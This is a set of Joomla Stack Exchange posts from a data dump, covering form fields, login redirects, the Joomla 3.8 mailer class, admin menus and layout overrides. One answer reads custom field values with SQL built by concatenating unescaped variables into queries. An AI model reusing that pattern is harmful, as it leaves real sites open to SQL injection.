  <row Id="21655" PostTypeId="2" ParentId="21648" CreationDate="2017-10-02T18:18:31.910" Score="0" Body="&lt;p&gt;Inspired by the second option of &lt;a href=&quot;https://joomla.stackexchange.com/users/7374/jamesgarrett&quot;&gt;jamesgarett&lt;/a&gt;'s answer, I build a custom form field that extends the url form field.&lt;br&gt;&#xA;A minor issue with james' method is that joomla doesn't just include the &lt;code&gt;&amp;lt;style&amp;gt;...&amp;lt;/style&amp;gt;&lt;/code&gt; but also some tags around it. Which looks something like this:  &lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;div class=&quot;control-label&quot;&amp;gt;&#xA;    &amp;lt;label id=&quot;jform...&amp;gt;&amp;lt;/label&amp;gt;&#xA;&amp;lt;/div&amp;gt;&#xA;&amp;lt;div class=&quot;controls&quot;&amp;gt;&#xA;    &amp;lt;style&amp;gt; ... &amp;lt;/style&amp;gt;&#xA;&amp;lt;/div&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;This causes a gap in the layout since there is no content.  &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Instead of using a separate form field that includes the style, I extended the url form field to make a &lt;code&gt;longurl&lt;/code&gt; form field, which has added inline styles.&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;defined('_JEXEC') or die('Restricted access');&#xA;&#xA;jimport('joomla.form.helper');&#xA;JFormHelper::loadFieldClass('url');&#xA;&#xA;class JFormFieldLongurl extends JFormFieldUrl {&#xA;&#xA;    protected $type = 'longurl';&#xA;&#xA;    public function getInput() {&#xA;        $input = parent::getInput();&#xA;&#xA;        $pattern = 'type=&quot;url&quot;';&#xA;        $style= ' style=&quot;width:90%&quot;';&#xA;        return str_replace($pattern, $pattern.$style, $input);&#xA;    }&#xA;&#xA;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;By including  &lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;fieldset name=&quot;basic&quot; addfieldpath=&quot;administrator/components/com_something/fields&quot;&amp;gt;  &#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;one can use a form field with the type &lt;code&gt;longurl&lt;/code&gt; for URLs that need more space &lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;field &#xA;    name=&quot;url-json&quot; &#xA;    type=&quot;longurl&quot; &#xA;    default=&quot;http://www.website...&amp;amp;amp;option=A&amp;amp;amp;id=1234&quot; &#xA;    label=&quot;COM_CUSTOM_CONFIG_LABEL&quot; &#xA;    description=&quot;COM_CUSTOM_CONFIG_DESC&quot; &#xA;    size=&quot;50&quot; &#xA;/&amp;gt;  &#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="11618" LastEditorUserId="11618" LastEditDate="2017-10-02T18:35:29.350" LastActivityDate="2017-10-02T18:35:29.350" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="21657" PostTypeId="2" ParentId="21643" CreationDate="2017-10-03T12:27:19.430" Score="1" Body="&lt;p&gt;Joomshopping may have categories for the products, but it does not the Joomla core categories table/model for its categories. It has its own. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;The categories field is for the Joomla core categories, which means it will return categories that exist in the &lt;code&gt;#__categories&lt;/code&gt; for the selected component/extension.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Note that &lt;code&gt;com_content&lt;/code&gt; is not the only extension that uses the Joomla categories. For example, &lt;code&gt;com_contact&lt;/code&gt; is another extension that uses them.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Regarding 3rd party components, they can also make use of them if using them would be a good fit or use their own approach to creating a categories feature.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;You can create your own &lt;a href=&quot;https://docs.joomla.org/Creating_a_custom_form_field_type&quot; rel=&quot;nofollow noreferrer&quot;&gt;&lt;strong&gt;Custom Form Field&lt;/strong&gt;&lt;/a&gt; that will list Joomshopping categories and use it in your &lt;strong&gt;&lt;code&gt;XML&lt;/code&gt;&lt;/strong&gt;, or maybe use the &lt;a href=&quot;https://docs.joomla.org/Special:MyLanguage/SQL_form_field_type&quot; rel=&quot;nofollow noreferrer&quot;&gt;&lt;strong&gt;SQL field&lt;/strong&gt;&lt;/a&gt; to query the database directly could be sufficient for your needs.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;There is also a strong possibility that Joomshopping has already its own custom &quot;Joomshopping Categories&quot; field type defined somewhere that you can use.&lt;/p&gt;&#xA;" OwnerUserId="126" LastEditorUserId="126" LastEditDate="2017-10-15T06:50:41.630" LastActivityDate="2017-10-15T06:50:41.630" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="21659" PostTypeId="1" CreationDate="2017-10-03T13:30:33.450" Score="1" ViewCount="2056" Body="&lt;p&gt;I have set up a menu Item Users-&gt; Login Form.&#xA;There I set the &quot;Menu Item Login Redirect&quot; to Home. However the site redirects me to &quot;/shop-pages-2/register-2/profile&quot;. My homepage does not have a shop (jet). &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Where does this &quot;/shop-pages-2/register-2/profile&quot; overwrite my &quot;home&quot; setting. The page with the Login form is the right Menu item. I tested this with adding pre- and post text to the Login form using the same Menu item where I set &quot;Menu Item Login Redirect&quot;. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;(I am using Joomla 3.7.5 and the Porto Template.)&lt;/p&gt;&#xA;&#xA;&lt;p&gt;EDIT: I have updated to Joomla 3.8.1 and I still have the same issue&lt;/p&gt;&#xA;" OwnerUserId="11268" LastEditorUserId="11268" LastEditDate="2017-10-17T11:54:01.763" LastActivityDate="2017-10-20T15:26:38.343" Title="login redirect to different page than given under &quot; Menu Item Login Redirect&quot;" Tags="|joomla-3.x|login|" AnswerCount="1" CommentCount="11" ContentLicense="CC BY-SA 3.0" />
  <row Id="21661" PostTypeId="2" ParentId="21366" CreationDate="2017-10-04T13:04:06.157" Score="1" Body="&lt;p&gt;This issue happened to me and I solved it by disabling the &quot;language filter&quot; plugin.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I hope it could help someone. :)&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Cheers!!&lt;/p&gt;&#xA;" OwnerUserId="11626" LastEditorUserId="126" LastEditDate="2017-10-04T21:22:30.063" LastActivityDate="2017-10-04T21:22:30.063" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="21662" PostTypeId="2" ParentId="3948" CreationDate="2017-10-04T13:50:20.050" Score="2" Body="&lt;p&gt;A more effective method to get all the menu items that are on the top level (level 1) and part of the menu called &quot;mainmenu&quot; (default menu):&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;// Get default menu - JMenu object&#xA;$menu = JFactory::getApplication()-&amp;gt;getMenu();&#xA;&#xA;//Gets menu items by attribute (level == 1 and menutype == mainmenu)&#xA;$items = $menu-&amp;gt;getItems([&quot;menutype&quot;,&quot;level&quot;],[&quot;mainmenu&quot;,1]);&#xA;&#xA;//Show all menu items&#xA;var_dump($items);&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="192" LastActivityDate="2017-10-04T13:50:20.050" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="21663" PostTypeId="2" ParentId="21654" CreationDate="2017-10-04T20:20:49.173" Score="1" Body="&lt;p&gt;Creating an admin menu item can done via any extension type (plugins, components, modules, etc) because you can do it as part of an &quot;&lt;a href=&quot;https://docs.joomla.org/J3.x:Developing_an_MVC_Component/Adding_an_install-uninstall-update_script_file&quot; rel=&quot;nofollow noreferrer&quot;&gt;install script&lt;/a&gt;&quot; (which any extension type can include). &lt;/p&gt;&#xA;&#xA;&lt;p&gt;The key thing to note here is that you create the menu item by adding a row to the #__menus database when you first install the extension. The menu is not being &quot;injected&quot; in to the menu on the fly or anything like that. If you uninstall the extension you'd want to make sure deleting that row from #__menus is part of the delete process (which is also done via the install script). Otherwise the menu item would remain even if the extension is gone.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;So the install script will get you your menu item. The next decision is how you want the request (the db query + export) to be handled when the link in the menu is clicked. The answer to that will determine if you want to use a plugin or a component.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;If you try to do it as a plugin extension you'd probably need to make it part of the System plugin group and have it sniff for whatever link you used before Joomla does it's internal routing. aka, you'd want to sniff for GET request variables inside a &lt;a href=&quot;https://docs.joomla.org/Plugin/Events/System#onAfterInitialise&quot; rel=&quot;nofollow noreferrer&quot;&gt;onAfterInitialise()&lt;/a&gt; method.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Eg:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;if you decide to make the menu link's URL be:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&quot;administrator/index.php?option=someComponentName&amp;amp;view=doExport&quot; &lt;/p&gt;&#xA;&#xA;&lt;p&gt;You'd have your System plugin sniff for those request variables (ie, sniff for when option==&quot;someComponentName&quot; and view==&quot;doExport&quot;) and, when found, do your query/export action. If you set your headers correctly you'd end up with a file download request of the csv file after clicking the link.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Pros/Cons:&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;Pro: A tiny bit easier than making a component.&lt;/li&gt;&#xA;&lt;li&gt;Con: You shouldn't have the link do anything else beside execute a file download request or redirect to some existing page. Ie, if you wanted to load a page with more options before executing the request, it wouldn't be appropriate to do via a plugin (it's possible to do, just not what plugins are made for).&lt;/li&gt;&#xA;&lt;li&gt;Con: This plugin will be called for every page load front end and back end. It's small overhead but it's is still overhead on every page load. This is a good reason not to use a plugin.&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&#xA;&lt;p&gt;The other option (and the one I'd recommend) is to use a component extension instead. You'd only need the 'admin' side (your 'site' side of the component can just be a blank index.html file).&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Pros/Cons&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;Pro: Way more freedom to develop how you want. You can make a page with additional options before executing the export or you have it just export like with the plugin option.&lt;/li&gt;&#xA;&lt;li&gt;Con: If all your wanting to do is export the csv when the menu link is clicked then this method might be &lt;em&gt;very&lt;/em&gt; slightly more involved.&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&#xA;&lt;p&gt;I'd go the component route if I were you. It's more in line with the heart of what you're trying to do.&lt;/p&gt;&#xA;" OwnerUserId="9459" LastActivityDate="2017-10-04T20:20:49.173" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="21665" PostTypeId="1" AcceptedAnswerId="21666" CreationDate="2017-10-05T10:39:21.753" Score="3" ViewCount="1147" Body="&lt;p&gt;A client called today lamenting that our automated mail (they fill a form and we mail them a code) is not working.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Of course, this is because my code still has the JFactory class and is looking for... &lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;require ('libraries/joomla/factory.php');&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;...which is no more since Joomla 3.8&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I have seen &lt;a href=&quot;https://stackoverflow.com/a/46418148&quot;&gt;this answer to a similar problem&lt;/a&gt;, but &lt;code&gt;getMailer&lt;/code&gt; is not named in the linked Github file.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;What should I use instead of the following lines?&lt;/strong&gt;&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;require ('libraries/joomla/factory.php'); #I suppose nothing&#xA;$mail = JFactory::getMailer(); #I have no idea&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Of course I'm instantiating the &lt;code&gt;$mail&lt;/code&gt; object with everything needed to use&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;$mail-&amp;gt;Send();&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;So if that won't work anymore I'd appreciate some guidance.&lt;/p&gt;&#xA;" OwnerUserId="11630" LastEditorUserId="168" LastEditDate="2017-10-05T10:41:42.610" LastActivityDate="2017-10-05T11:21:20.047" Title="JFactory stopped working in Joomla 3.8, what now?" Tags="|jfactory|joomla3.8|" AnswerCount="1" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="21666" PostTypeId="2" ParentId="21665" CreationDate="2017-10-05T11:21:20.047" Score="1" Body="&lt;p&gt;I looked for JFactory instead of looking for getMailer or factory.php in the class conversion chart mentioned in the answer linked in the question and solved this problem myself:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;$mail = \joomla\CMS\factory::getMailer();&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Require is not... required anymore.&lt;/p&gt;&#xA;" OwnerUserId="11630" LastActivityDate="2017-10-05T11:21:20.047" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="21670" PostTypeId="1" AcceptedAnswerId="21673" CreationDate="2017-10-06T14:40:43.437" Score="1" ViewCount="502" Body="&lt;p&gt;For whatever reason, the login module in the frontend of my website has suddenly stopped working. Every attempt to login using it just redirects back to the home page without logging in the user, however any login attempt made by going to the component itself works just fine. There are non error messages at all, nothing from Joomla and nothing from forcefully showing PHP errors.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;At first I thought it may have been my custom template for the module, but even after &quot;restoring&quot; the default version of the module, the problem persists.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I tried modifying the login authentication in &lt;code&gt;libraries/joomla/application/application.php&lt;/code&gt; to do a test on the spot if the login was failing for unknown reasons, but the login attempts do not make it that far (unless the module uses a different method to authenticate logins).&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Server config:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;PHP Version                 5.3.29&#xA;Database Version            10.1.26-MariaDB&#xA;Database Collation          utf8_general_ci&#xA;Joomla! Version Joomla!     2.5.28 Stable [ Ember ] 10-December-2014 15:00 GMT&#xA;Joomla! Platform Version    Joomla Platform 11.4.0 Stable [ Brian Kernighan ] 03-Jan-2012 00:00 GMT&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Update: Upon further investigation into the matter, it appears as though going to the home page (after logging in with the component) logs me out immediately. Likely related.&lt;/p&gt;&#xA;" OwnerUserId="2081" LastEditorUserId="2081" LastEditDate="2017-10-06T15:59:18.717" LastActivityDate="2017-10-06T21:00:31.747" Title="Login module doesn't login, redirects back to home page" Tags="|joomla-2.5|module|login|" AnswerCount="1" CommentCount="9" ContentLicense="CC BY-SA 3.0" />
  <row Id="21672" PostTypeId="1" AcceptedAnswerId="21685" CreationDate="2017-10-06T19:55:49.220" Score="2" ViewCount="1022" Body="&lt;p&gt;I have a component listed on the JED that I am currently updating to fix a bug. I noticed however that when creating a custom Administrator menu in the backend, my component does not show up in the list of available installed components to create a link from. I was wondering what I need to change in my extension XML file so that my component shows up in that component list.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;To reproduce the issue:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Create an Administrator menu in the backend&#xA;Add a new menu item&#xA;When selecting the Menu Item Type a list opens of available components&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The Menu Item Type list is where I am trying to get me component to show.&#xA;Any guidance would be appreciated.&lt;/p&gt;&#xA;" OwnerUserId="7730" LastActivityDate="2018-12-04T15:21:25.677" Title="Component Development - Custom Admin Menu Link" Tags="|administrator|" AnswerCount="2" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="21673" PostTypeId="2" ParentId="21670" CreationDate="2017-10-06T21:00:31.747" Score="2" Body="&lt;p&gt;The problem was solved after far too many hours of searching. Old legacy code that was buggy and skipped over by the old server somehow went live after a server change. This legacy code somehow forced a logout under very specific conditions.&lt;/p&gt;&#xA;" OwnerUserId="2081" LastActivityDate="2017-10-06T21:00:31.747" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="21674" PostTypeId="1" CreationDate="2017-10-07T11:50:12.007" Score="0" ViewCount="33" Body="&lt;p&gt;I have a specific requirement and looking for a matching set of extensions.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I have a Joomla website where I allow users to login and see a selected article for each of them. That means, when the user logs in, he will see a menu item &quot;My Page&quot;, but the user will be directed to an article which meant only to him. Other users should not see this article by any means.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;Use case:&lt;/strong&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Let's imagine I have several suppliers registered on my website, where they don't know about others. This particular link will forward them to an article which shows the statistics of the products they supply. This doesn't need to be dynamic, so the admin will edit the article manually.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;How can I achieve this?&#xA;(Sorry if this is not the right forum to ask such a specific question.)&lt;/p&gt;&#xA;" OwnerUserId="1764" LastActivityDate="2018-01-30T20:39:13.133" Title="Allow users to see only a selected set of data" Tags="|articles|user-groups|permissions|" AnswerCount="1" CommentCount="0" ClosedDate="2018-02-01T15:33:35.810" ContentLicense="CC BY-SA 3.0" />
  <row Id="21677" PostTypeId="1" CreationDate="2017-10-07T23:40:09.357" Score="2" ViewCount="101" Body="&lt;p&gt;Within mytemplate, I created an alternative menu and an alternative layout for the com_content articles view, and neither reflects on the front end. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;For com_content, in my template, I created the following files:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;joomla/templates/mytemplate/html/com_content/article/LandingPage.php&#xA;joomla/templates/mytemplate/html/com_content/article/LandingPage.xml&#xA;joomla/templates/mytemplate/html/com_content/article/LandingPageLayout.php&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;At the top of file LandingPage.xml, the layout section contains:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;layout &#xA;        title=&quot;TPL_MYTEMPLATE_COM_CONTENT_ARTICLE_VIEW_LANDINGPAGE_TITLE&quot; &#xA;        option=&quot;TPL_MYTEMPLATE_COM_CONTENT_ARTICLE_VIEW_LANDINGPAGE_OPTION&quot;&amp;gt;&#xA;    &amp;lt;help&#xA;        key = &quot;JHELP_MENUS_MENU_ITEM_ARTICLE_SINGLE_ARTICLE&quot;&#xA;    /&amp;gt;&#xA;    &amp;lt;message&amp;gt;&#xA;        &amp;lt;![CDATA[TPL_MYTEMPLATE_COM_CONTENT_ARTICLE_VIEW_LANDINGPAGE_DESC]]&amp;gt;&#xA;    &amp;lt;/message&amp;gt;&#xA;&amp;lt;/layout&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Through backend, I can select the alternative menu type, but when I load the web page corresponding to menu item, the HTML corresponds to &lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;/components/com_content/article/view/default.php&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;I have re-read the documentation for alternative layouts and alternative menu items and rechecked I am following instructions correctly: &lt;a href=&quot;https://docs.joomla.org/Layout_Overrides_in_Joomla&quot; rel=&quot;nofollow noreferrer&quot;&gt;https://docs.joomla.org/Layout_Overrides_in_Joomla&lt;/a&gt; &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Also, I looked for duplicate answers, and found:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;https://joomla.stackexchange.com/questions/9603/layout-override-shows-up-as-menu-item-but-not-as-category-layout&quot;&gt;Layout Override shows up as menu Item but not as category layout&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;https://joomla.stackexchange.com/questions/9562/cant-see-alternative-layout-once-i-add-xml-file&quot;&gt;Can&amp;#39;t see alternative layout once i add xml file&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I believe I understand the logic for the mytemplate alternative menu items and alternative layouts, but I can't figure out what I am doing wrong.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The URL's generated through the back end for the menu items set to this alternative menu type item have the following syntax: &lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;index.php?option=com_content&amp;amp;view=article&amp;amp;layout=mytemplate:LandingPage&amp;amp;id=1&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Looking for alternative solutions, I then set the LandingPageLayout.php through the article's configuration Options Layout setting. The article's Options &gt; Layout drop-down shows the alternative layout &quot;LandingPageLayout.&quot; However, through the front end, the menu item continues to display the code from /components/com_content/article/view/default.php  &lt;/p&gt;&#xA;&#xA;&lt;p&gt;To easily differentiate which php file is loading, from among default.php, LandingPage.php, and LandingPageLayout.php, I entered an HTML tag that clearly shows me which file is loading.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;What am I doing wrong?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Why is the content from mytemplate article's alternative menu item and alternative layout not loading trough the front?&lt;/p&gt;&#xA;" OwnerUserId="3966" LastActivityDate="2023-04-21T14:10:46.937" Title="Joomla 3.8.1 Neither Alternative Menu Item Nor Layout Reflects on Front End" Tags="|menu-item|com-content|layout|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="21678" PostTypeId="2" ParentId="21674" CreationDate="2017-10-08T09:59:37.400" Score="0" Body="&lt;p&gt;Create user groups and assign different data to be shown in which group.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;https://docs.joomla.org/Access_Control_List&quot; rel=&quot;nofollow noreferrer&quot;&gt;Joomla ACL&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="11644" LastEditorUserId="126" LastEditDate="2017-12-01T19:46:05.027" LastActivityDate="2017-12-01T19:46:05.027" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="21680" PostTypeId="2" ParentId="21070" CreationDate="2017-10-08T19:27:11.643" Score="0" Body="&lt;p&gt;I work with them by reading and writing straight to the table. There are two - &lt;code&gt;#__fields&lt;/code&gt; and &lt;code&gt;#__fields_values&lt;/code&gt;. The former is for looking fields up by their alias, the latter is for querying and setting values.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;To retrieve an ID for a user field, the following will do:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;function GetFieldID($Alias)&#xA;{&#xA;    $db = JFactory::getDBO();&#xA;    $db-&amp;gt;setQuery($db-&amp;gt;getQuery(true)&#xA;        -&amp;gt;select('id')&#xA;        -&amp;gt;from('#__fields')&#xA;        -&amp;gt;where(&quot;context = 'com_users.user'&quot;)-&amp;gt;where(&quot;name='&quot;.$Alias.&quot;'&quot;));&#xA;    return $db-&amp;gt;loadResult();&#xA;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;To query a field, this:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;function GetField($UserID, $FieldID)&#xA;{&#xA;    $db = JFactory::getDBO();&#xA;    $db-&amp;gt;setQuery($db-&amp;gt;getQuery(true)&#xA;        -&amp;gt;select('value')&#xA;        -&amp;gt;from('#__fields_values')&#xA;        -&amp;gt;where(&quot;field_id = $FieldID&quot;)-&amp;gt;where(&quot;item_id=$UserID&quot;));&#xA;    return $db-&amp;gt;loadResult();&#xA;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;And so forth. Putting together an insert and an update would be equally trivial.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;If there's a good high level API for doing the same, I have yet to find it.&lt;/p&gt;&#xA;" OwnerUserId="11556" LastActivityDate="2017-10-08T19:27:11.643" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="21681" PostTypeId="1" AcceptedAnswerId="21705" CreationDate="2017-10-08T20:04:08.290" Score="0" ViewCount="129" Body="&lt;p&gt;I have a database with two parent tables and several child tables.  I need to display a single parent record from one table with all the related records from each child on a single page.  I thought the way to do that was to create a model and a view/template for each table and combine them all in the template for the parent table, but I can't figure out how to do this.  &lt;/p&gt;&#xA;&#xA;&lt;p&gt;I can get the templates for the child views to load on the parent template, but can't figure out how to populate them from the associated model.  I tried using the method demonstrated in the lendr tutorial (&lt;a href=&quot;http://lendr.websparkinc.com/#beginning/editphp&quot; rel=&quot;nofollow noreferrer&quot;&gt;http://lendr.websparkinc.com/#beginning/editphp&lt;/a&gt;) of using a helper to load the view with the model, which seems to be exactly what I need, but I can't figure out how to get joomla to find the view (I get  Fatal error: Class 'MycomponentViewWhatevs' not found in C:...). I've searched for days trying to figure out what I'm missing.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Is there a way to do what I'm trying to do?  Am I going in the wrong direction? Should I be getting all the data using the parent table's model and duplicating the code for the child tables related to both parents (only a couple are related to both)? This is my first time working with joomla and php, and I am completely lost.&lt;/p&gt;&#xA;" OwnerUserId="11646" LastActivityDate="2018-03-09T21:03:31.223" Title="string together multiple partial templates" Tags="|component|view|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="21683" PostTypeId="2" ParentId="21672" CreationDate="2017-10-08T23:23:07.827" Score="1" Body="&lt;p&gt;I use Component Creator to create all my components in the first instance so my answer is related to the way they code components to a large degree.&#xA;I've personally never created an Admin menu item before so I had to see if my components actually let me do this, and it did.  So in the main manifest XML you will need to have a menu and perhaps a submenu element defined and I'm hoping that the following example of code helps.&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;    &amp;lt;administration&amp;gt;&#xA;    &amp;lt;menu img=&quot;../media/com_mycomponent/images/s_com_mycomponent.png&quot; &amp;gt;COM_MYCOMPONENT&amp;lt;/menu&amp;gt;&#xA;    &amp;lt;submenu&amp;gt;&#xA;        &amp;lt;menu link=&quot;option=com_mycomponent&amp;amp;amp;view=clientadverts&quot; view=&quot;clientadverts&quot; img=&quot;../media/com_mycomponent/images/s_clientadverts.png&quot; alt=&quot;Mycomponent/Clientadverts&quot;&amp;gt;COM_MYCOMPONENT_TITLE_ADVERTS&amp;lt;/menu&amp;gt;&#xA;        &amp;lt;menu link=&quot;option=com_categories&amp;amp;amp;extension=com_mycomponent&quot; view=&quot;categories&quot; img=&quot;../media/com_mycomponent/images/s_clientadverts.png&quot; alt=&quot;Mycomponent/Categories&quot;&amp;gt;COM_MYCOMPONENT_ADVERTS_ADVERT_TYPE&amp;lt;/menu&amp;gt;&#xA;    &amp;lt;/submenu&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Cheers&#xA;Glenn&lt;/p&gt;&#xA;" OwnerUserId="1985" LastActivityDate="2017-10-08T23:23:07.827" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="21684" PostTypeId="2" ParentId="16057" CreationDate="2017-10-09T01:03:08.347" Score="0" Body="&lt;p&gt;Enabling update notifications by default is probably the best option for inexperienced Joomla users so they have the best chance of being informed when new versions are released.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;More experienced users who build multiple websites for clients, and where some of the default settings are not particularly helpful, should consider building a website as a template, changing settings as required and then saving this as a &quot;standard build&quot; using Akeeba Backup or similar. The standard build can be deployed using Akeeba Kickstart or similar just as quickly (or even quicker) than building the site from scratch and the preferred settings will already be implemented. The standard build can also include favourite extensions such as Akeeba Backup and JCE Editor etc.&lt;/p&gt;&#xA;" OwnerUserId="120" LastActivityDate="2017-10-09T01:03:08.347" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="21685" PostTypeId="2" ParentId="21672" CreationDate="2017-10-09T10:15:22.337" Score="2" Body="&lt;p&gt;This seems to work in the same way as creating front end menu item types, but with your &lt;code&gt;default.xml&lt;/code&gt; file being saved under an administrator view rather than a front end view.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;For example, com_content adds the featured articles link under &lt;code&gt;administrator/com_content/views/featured/default.xml&lt;/code&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;This file contains the following code&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;?xml version=&quot;1.0&quot; encoding=&quot;utf-8&quot;?&amp;gt;&#xA;&amp;lt;metadata&amp;gt;&#xA;    &amp;lt;layout title=&quot;COM_CONTENT_FEATURED_VIEW_DEFAULT_TITLE&quot;&amp;gt;&#xA;        &amp;lt;message&amp;gt;&#xA;            &amp;lt;![CDATA[COM_CONTENT_FEATURED_VIEW_DEFAULT_DESC]]&amp;gt;&#xA;        &amp;lt;/message&amp;gt;&#xA;    &amp;lt;/layout&amp;gt;&#xA;&amp;lt;/metadata&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Adding the same (changing only the title and message) to your component's administrator view(s) should make it/them appear under Menu Item Type.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Com_content is using translations, as any JED component should, but you could easily test this by replacing &lt;code&gt;COM_CONTENT_FEATURED_VIEW_DEFAULT_TITLE&lt;/code&gt; with dummy text.&lt;/p&gt;&#xA;" OwnerUserId="1622" LastActivityDate="2017-10-09T10:15:22.337" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
